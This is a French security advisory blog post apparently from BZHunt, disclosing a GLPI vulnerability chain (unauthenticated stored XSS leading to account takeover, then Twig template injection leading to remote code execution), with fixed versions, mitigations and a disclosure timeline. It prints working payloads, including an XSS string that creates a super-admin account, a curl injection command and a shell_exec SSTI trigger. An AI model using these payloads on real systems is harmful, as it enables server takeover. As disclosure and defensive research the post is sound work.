GLPI : Blind XSS → ATO → SSTI → RCE — anatomie d'une chaîne 0-day

BZHunt a découvert deux vulnérabilités chaînées dans GLPI 11.0.0–11.0.5 (CVE-2026-26026, CVE-2026-26027) permettant à un attaquant non authentifié d'exécuter du code arbitraire via une Blind Stored XSS et une SSTI. Analyse technique complète et responsible disclosure.

Note de transparence — Cette recherche a été conduite avec l’assistance de Claude Opus 4.6 (Anthropic), utilisé par BZHunt dans son processus de R&D. Toutes les vulnérabilités ont été identifiées, vérifiées et exploitées par des chercheurs humains. Nous faisons le choix de la transparence sur l’usage de l’IA dans nos travaux, dans l’attente que des standards clairs émergent sur ce sujet.

TL;DRCVE-2026-26026 (SSTI→RCE, Critique) et CVE-2026-26027 (Blind Stored XSS, Haute) dans GLPI 11.0.0–11.0.5 permettent de chaîner une Blind Stored XSS non authentifiée avec une Server-Side Template Injection (SSTI) pour obtenir une exécution de code à distance (RCE) sans aucun compte préalable. Score CVSS : 9.1 / Critical (CVE-2026-26026). Patch : GLPI 11.0.6 (3 mars 2026).


Contexte

GLPI (Gestionnaire Libre de Parc Informatique) est l’un des outils ITSM open source les plus déployés en Europe. Il gère des inventaires d’actifs, des tickets, des flux d’agents — et souvent, des infrastructures entières de DSI. C’est précisément ce périmètre critique qui en fait une cible de choix.

En février 2026, l’équipe de recherche BZHunt a identifié plusieurs vulnérabilités 0-day dans GLPI 11.0.0 à 11.0.5. Parmi elles, une Blind Stored XSS non authentifiée (CVE-2026-26027) et une injection SQL non authentifiée dans le moteur de recherche (CVE-2026-26263). La première, chaînée à une SSTI, permet à un attaquant sans aucun compte d’exécuter des commandes système arbitraires sur le serveur. Cet article se concentre sur cette chaîne d’exploitation, la plus critique.


Les vulnérabilités en bref

#TypeCVECVSSPérimètreAuth requise
1Blind Stored XSS → Account TakeoverCVE-2026-260277.5 HighGLPI 10.0.0 – 11.0.5❌ Aucune
2SSTI → RCECVE-2026-260269.1 CriticalGLPI 11.0.0 – 11.0.5✅ Admin
3SQL Injection (moteur de recherche)CVE-2026-262638.1 HighGLPI 11.0.0 – 11.0.5❌ Aucune

La vulnérabilité #2, seule, requiert un compte administrateur (CVSS ~8.8). Combinée à la vulnérabilité #1, la barrière d’authentification disparaît complètement. La vulnérabilité #3 est indépendante de la chaîne et fera l’objet d’un article dédié.

Chaîne complète : Non authentifié → Blind Stored XSS → Account Takeover → SSTI → RCE


Vulnérabilité #1 : Blind Stored XSS non authentifiée via /Inventory

Pourquoi l’endpoint /Inventory est-il accessible sans authentification ?

Par défaut, GLPI configure son endpoint de collecte d’inventaire (/Inventory) sans authentification (auth_required = 'none', défini dans Conf.php ligne 1309). Cet endpoint est conçu pour recevoir des remontées d’agents GLPI déployés sur le parc.

Le problème : les valeurs envoyées par l’agent — notamment deviceid, tag et useragent — sont stockées en base de données sans assainissement HTML dans la fonction Agent::handleAgent(). Lorsqu’un administrateur consulte ensuite la liste des agents, ces valeurs sont affichées via le filtre Twig |raw, qui désactive l’échappement automatique et exécute le JavaScript injecté dans le contexte authentifié de l’administrateur.

Les cookies de session sont protégés par le flag HttpOnly — leur vol via JavaScript est donc impossible. En revanche, le XSS s’exécutant dans la session authentifiée de l’administrateur, il peut effectuer des requêtes HTTP vers GLPI avec les droits de cet administrateur (même origine).

Payload d’Account Takeover (255 caractères, limite du varchar)

<img src=x onerror="fetch('/front/user.form.php',{method:'POST',body:new URLSearchParams({add:1,name:'zax',password:'fr0m-th3-s3cur3',password2:'fr0m-th3-s3cur3',_profiles_id:4,_glpi_csrf_token:document.querySelector('[name=_glpi_csrf_token]').value})})">

Ce payload tient dans un champ varchar(255). Il contourne la protection CSRF en récupérant dynamiquement le token présent dans la page. Lorsqu’un administrateur consulte Administration → Agents, un compte super-administrateur est créé silencieusement.

Injection (sans authentification)

curl -sk -X POST https://target.com/Inventory \
  -H "Content-Type: application/json" \
  -d '{"action":"contact","deviceid":"legit-agent","itemtype":"Computer",
       "tag":"<img src=x onerror=\"fetch('/front/user.form.php',{method:'POST',body:new URLSearchParams({add:1,name:'zax',password:'fr0m-th3-s3cur3',password2:'fr0m-th3-s3cur3',_profiles_id:4,_glpi_csrf_token:document.querySelector('[name=_glpi_csrf_token]').value})})\">"}'

Réponse du serveur : {"expiration":"24","status":"ok"}

L’attaquant dispose maintenant d’un compte super-administrateur. Il peut se connecter avec tous les droits, y compris le droit form CREATE nécessaire pour exploiter la vulnérabilité #2.


Vulnérabilité #2 : SSTI → RCE via double compilation Twig

Le problème de la double compilation

Dans QuestionTypeDropdown.php (ligne 204–216), GLPI construit un template Twig en concaténant du HTML déjà rendu (issu de la classe parente) avec un template Twig non encore rendu, puis soumet le tout à une nouvelle compilation via renderFromStringTemplate().

// QuestionTypeDropdown.php, ligne 204-216
$template = <<<TWIG
    {% import 'components/form/fields_macros.html.twig' as fields %}
    {{ fields.dropdownArrayField(...) }}
TWIG;

$template .= parent::renderAdministrationTemplate($question);  // HTML déjà rendu !
$twig = TemplateRenderer::getInstance();
return $twig->renderFromStringTemplate($template, [...]);       // Re-compilation !

La classe parente génère les options du dropdown avec value="{{ value }}". L’auto-échappement Twig protège les caractères & < > " ' — mais pas { } ( ) [ ] _ . | ~. Résultat : si une valeur d’option contient de la syntaxe Twig, elle survit au premier rendu et est évaluée lors de la seconde compilation.

Pourquoi call() permet-il l’exécution de code ?

Le moteur de templates utilisé ici est le TemplateRenderer principal de GLPI — sans sandbox. Il expose notamment :

  • La fonction call() (via PhpExtension), qui est un alias de call_user_func_array()
  • Les superglobales PHP $_GET, $_POST, $_REQUEST comme variables Twig

Comme les guillemets sont HTML-échappés, on ne peut pas utiliser de chaînes littérales dans le payload. La solution : passer le nom de la fonction et l’argument via des paramètres GET.

Payload SSTI

Valeur de l’option du dropdown :

{{ call(_get.fn, [_get.a]) }}

URL de déclenchement :

/ajax/common.tabs.php?...&fn=shell_exec&a=id

Ce qui s’exécute côté serveur :

call_user_func_array('shell_exec', ['id'])

La chaîne complète

sequenceDiagram
    actor Attacker as Attaquant (unauth)
    participant GLPI
    actor Admin

    Attacker->>GLPI: POST /Inventory — tag=XSS payload
    GLPI-->>Attacker: {"status":"ok"}
    Note over GLPI: Payload stocké en BDD

    Admin->>GLPI: GET Administration → Agents (action routinière)
    GLPI-->>Admin: Page rendue avec |raw — XSS déclenché
    Admin->>GLPI: fetch() POST /front/user.form.php + CSRF token
    Note over GLPI: Compte super-admin créé silencieusement

    Attacker->>GLPI: Login avec le compte zax
    Attacker->>GLPI: Crée formulaire Dropdown — valeur={{ call(_get.fn,[_get.a]) }}
    Attacker->>GLPI: GET /ajax/common.tabs.php?fn=shell_exec&a=id
    GLPI-->>Attacker: uid=33(www-data) — RCE confirmé

Prérequis côté attaquant :

  • GLPI 11.0.0–11.0.5 en installation par défaut
  • L’endpoint /Inventory est accessible (défaut : sans auth)
  • Un administrateur consulte la page Agents à un moment donné (action routinière)

Preuve de concept — Résultats confirmés

Les deux vulnérabilités ont été confirmées indépendamment sur une instance de test dédiée sous GLPI 11.0.5.

python3 POC_GLPI_Form_Dropdown_SSTI.py https://target.com \
  -u zax -p 'fr0m-th3-s3cur3' --cmd 'id'
[+] RCE CONFIRMED!
[+] Function: shell_exec('id')
=================================================================
  COMMAND OUTPUT
=================================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
=================================================================

Script d’exploitation — Le PoC complet sera disponible sur le repo GitHub BZHunt à venir.


Impact

L’exploitation de cette chaîne permet :

  • Exécution de commandes OS arbitraires sous l’identité du serveur web GLPI
  • Exfiltration de données : credentials BDD, fichiers de configuration, données utilisateurs, tickets, inventaire du parc
  • Pivot réseau : le serveur GLPI compromis devient une tête de pont vers l’infrastructure interne
  • Persistance : web shells, tâches cron, clés SSH, comptes backdoor supplémentaires
  • Risque supply chain : GLPI gérant souvent l’ensemble du parc IT, sa compromission offre une visibilité totale sur les assets managés

Corrections recommandées

Les deux vulnérabilités sont corrigées dans GLPI 11.0.6 (3 mars 2026) — la mise à jour est la solution recommandée.

Pour les installations ne pouvant pas migrer immédiatement :

Mitigations temporaires

MesureVulnérabilité couverte
Activer l’authentification sur /Inventory (Paramètres → Inventaire → En-tête d’autorisation)#1 (XSS)
Restreindre le droit form CREATE aux seuls utilisateurs de confiance#2 (SSTI) isolée
Appliquer les deux mesuresChaîne complète

Note : Aucune mesure ne protège entièrement contre la vulnérabilité #2 pour les utilisateurs qui disposent légitimement du droit form CREATE.


Fichiers clés (GLPI ≤ 11.0.5)

Vulnérabilité #1 :

FichierLigneRôle
src/Glpi/Inventory/Conf.php1309auth_required = 'none' par défaut
src/Agent.php420–434Valeurs stockées sans sanitisation
templates/pages/admin/inventory/agent.html.twig60–150Rendu des champs agent via fields.htmlField()
templates/components/form/fields_macros.html.twig787{{ value|raw }} — désactive l’auto-échappement

Vulnérabilité #2 :

FichierLigneRôle
src/Glpi/Form/QuestionType/QuestionTypeDropdown.php205Double compilation
src/Glpi/Form/QuestionType/AbstractQuestionTypeSelectable.php386value="{{ value }}" dans le template parent
src/Glpi/Application/View/Extension/PhpExtension.php90–106call() = call_user_func_array()
src/Glpi/Application/View/TemplateRenderer.php127–129$_GET, $_POST, $_REQUEST exposés comme globales Twig

Responsible Disclosure

ÉtapeDate
Découverte des vulnérabilitésFévrier 2026
Signalement à l’équipe GLPIFévrier 2026
Publication du patch (GLPI 11.0.6)3 mars 2026
CVE assignésCVE-2026-26026, CVE-2026-26027, CVE-2026-26263
Publication de cet articleMars 2026

Nous remercions l’équipe GLPI pour sa réactivité dans le traitement de ces signalements.


Conclusion

Cette chaîne illustre un pattern d’exploitation classique mais redoutable : deux vulnérabilités de sévérité élevée qui, combinées, franchissent la barrière d’authentification et ouvrent un accès complet au système. La première exploite une confiance excessive dans les données provenant d’agents automatisés. La seconde révèle les risques liés à la double compilation de templates, un anti-pattern méconnu mais présent dans plusieurs frameworks.

Pour les équipes déployant GLPI : mettez à jour vers la version 11.0.6 disponible depuis le 3 mars 2026. Si la mise à jour n’est pas encore possible, activez l’authentification sur l’endpoint /Inventory (Paramètres → Inventaire → En-tête d’autorisation).


Zax — BZHunt

BZ
BZHunt

Expert en cybersécurité offensive — BZHunt